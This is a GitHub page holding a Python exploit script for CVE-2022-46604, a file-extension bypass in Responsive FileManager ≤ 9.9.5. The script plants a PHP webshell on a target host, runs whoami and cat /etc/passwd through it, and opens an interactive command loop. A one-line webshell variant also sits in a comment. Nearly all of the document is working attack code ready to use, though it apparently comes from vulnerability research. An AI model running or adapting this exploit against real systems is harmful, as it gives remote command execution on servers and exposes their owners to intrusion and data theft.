-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2022-46604-exploit.py
158 lines (122 loc) · 6.23 KB
/
CVE-2022-46604-exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
# Exploit Title: File Creation Extension Bypass in Responsive FileManager ≤ 9.9.5 leading to RCE
# Date: 02-Feb-2023
# Exploit Author: Galoget Latorre (@galoget)
# Vendor Homepage: https://responsivefilemanager.com
# Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.9.5/responsive_filemanager.zip
# Dockerfile: https://github.com/galoget/ResponsiveFileManager-CVE-2022-46604
# Version: 9.9.5
# Language: Python 3.x
# Tested on:
# - Ubuntu 22.04.5 LTS 64-bit
# - Debian GNU/Linux 10 (buster) 64-bit
# - Kali GNU/Linux 2022.3 64-bit
# CVE: CVE-2022-46604 (Konstantin Burov)
#!/usr/bin/python3
# -*- coding:utf-8 -*-
import sys
import requests
from bs4 import BeautifulSoup
from termcolor import colored, cprint
# Usage: python3 exploit.py <target.site>
# Example: python3 exploit.py 127.0.0.1
def banner():
"""
Function to print the banner
"""
banner_text = """
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __| ___ |_ | |_ |_ | ___ | | | _| _| | | |
| --| | | __| |___| | _| | | _| _| |___| |_ | . | . | | |_ |
|_____|\\___/|_____| |___|___|___|___| |_|___|___|___| |_|
File Creation Extension Bypass in Responsive FileManager ≤ 9.9.5 (RCE)
Exploit Author: Galoget Latorre (@galoget)
CVE Author: Konstantin Burov
"""
print(banner_text)
def usage_instructions():
"""
Function that validates the number of arguments.
The application MUST have 2 arguments:
- [0]: Name of the script
- [1]: Target site, which can be a domain or an IP Address
"""
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target.site>")
print("Example: python3 exploit.py 127.0.0.1")
sys.exit(0)
def run_command(web_session, webshell_url, command_to_run):
"""
Function that:
- Interacts with the webshell to run a command
- Cleans the response of the webshell
- Returns the response object and the output of the command
"""
webshell_response = web_session.get(url = webshell_url + f"?cmd={command_to_run}", headers = headers)
command_output_soup = BeautifulSoup(webshell_response.text, 'html.parser')
return (webshell_response, command_output_soup.find('pre').text)
if __name__ == "__main__":
banner()
usage_instructions()
# Change this with the domain or IP address to attack
if sys.argv[1]:
host = sys.argv[1]
else:
host = "127.0.0.1"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
}
# URL to create a new file
target_url = f"http://{host}/filemanager/execute.php?action=create_file"
# Change this to customize the payload (i.e. The content of the malicious file that will be created)
payload = "<html><body><form method=\"GET\" name=\"<?php echo basename($_SERVER['PHP_SELF']); ?>\"><input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\"><input type=\"SUBMIT\" value=\"Execute\"></form><pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?></pre></body></html>"
# oneliner_payload = " <?=`$_GET[_]`?>"
# URL to get a PHPSESSID value
cookie_url = f"http://{host}/filemanager/dialog.php"
# New Session
session = requests.Session()
# GET request to retrieve a PHPSESSID value
cprint(f"[*] Trying to get a PHPSESSID at {host}", "blue")
try:
session.get(url = cookie_url, headers = headers)
except:
cprint(f"[-] Something went wrong when trying to connect to '{host}'.", "red")
sys.exit(0)
if session.cookies.get_dict():
cprint("[+] PHPSESSID retrieved correctly.", "green")
cprint(f"[!] PHPSESSID: {session.cookies.get_dict()['PHPSESSID']}", "yellow")
else:
cprint("[-] Something went wrong when trying to get a PHPSESSID.", "red")
# Params, rename if you want
params = {"path": "shell.php", "path_thumb": "../thumbs/shell.php", "name": "shell.txt", "new_content": payload}
# POST request to create the webshell
cprint(f"\n[*] Attempting to create a webshell on {host}", "blue")
response = session.post(url = target_url, headers = headers, data = params)
# If the status code and the message match, we may have a webshell inside. ;)
if response.status_code == 200 and response.text == "File successfully saved.":
# Default webshell path
shell_url = f"http://{host}/source/shell.php"
# Verify if the shell was uploaded by running whoami and cat /etc/passwd
webshell, whoami_output = run_command(session, shell_url, "whoami")
webshell, passwd_output = run_command(session, shell_url, "cat /etc/passwd")
# Common users when getting a webshell
common_users = ["www-data", "apache", "nobody", "apache2", "root", "administrator", "admin"]
# Verify if the command was executed correctly
if webshell.status_code == 200 or whoami_output.lower() in common_users or "root:x::" in passwd_output:
cprint("[+] Webshell uploaded - Enjoy!", "green")
cprint(f"[!] Webshell available at '{shell_url}' - Enjoy!", "yellow")
cprint(f"[+] Running `whoami` command: {whoami_output}", "green")
# Ask to enter into a pseudo-interactive mode with the webshell
answer = input(colored("Do you want to enter into interactive mode with the webshell? (Y/N): ", "magenta"))
if answer.upper() == "Y":
cprint("\n[*] Entering into interactive mode, write 'exit' to quit.\n", "blue")
command = ""
while command != "exit":
command = input(colored(">> ", "cyan")).lower()
webshell, command_output = run_command(session, shell_url, command)
if command != "exit":
cprint(command_output, "cyan")
cprint("\n[*] Exiting...Bye!", "blue")
elif response.status_code == 403 and response.text == "The file is already existing":
cprint("[-] The file that you're trying to create is already on the server.", "red")
else:
cprint(f"[-] The server returned Status Code: '{response.status_code}' and this text: '{response.text}'", "red")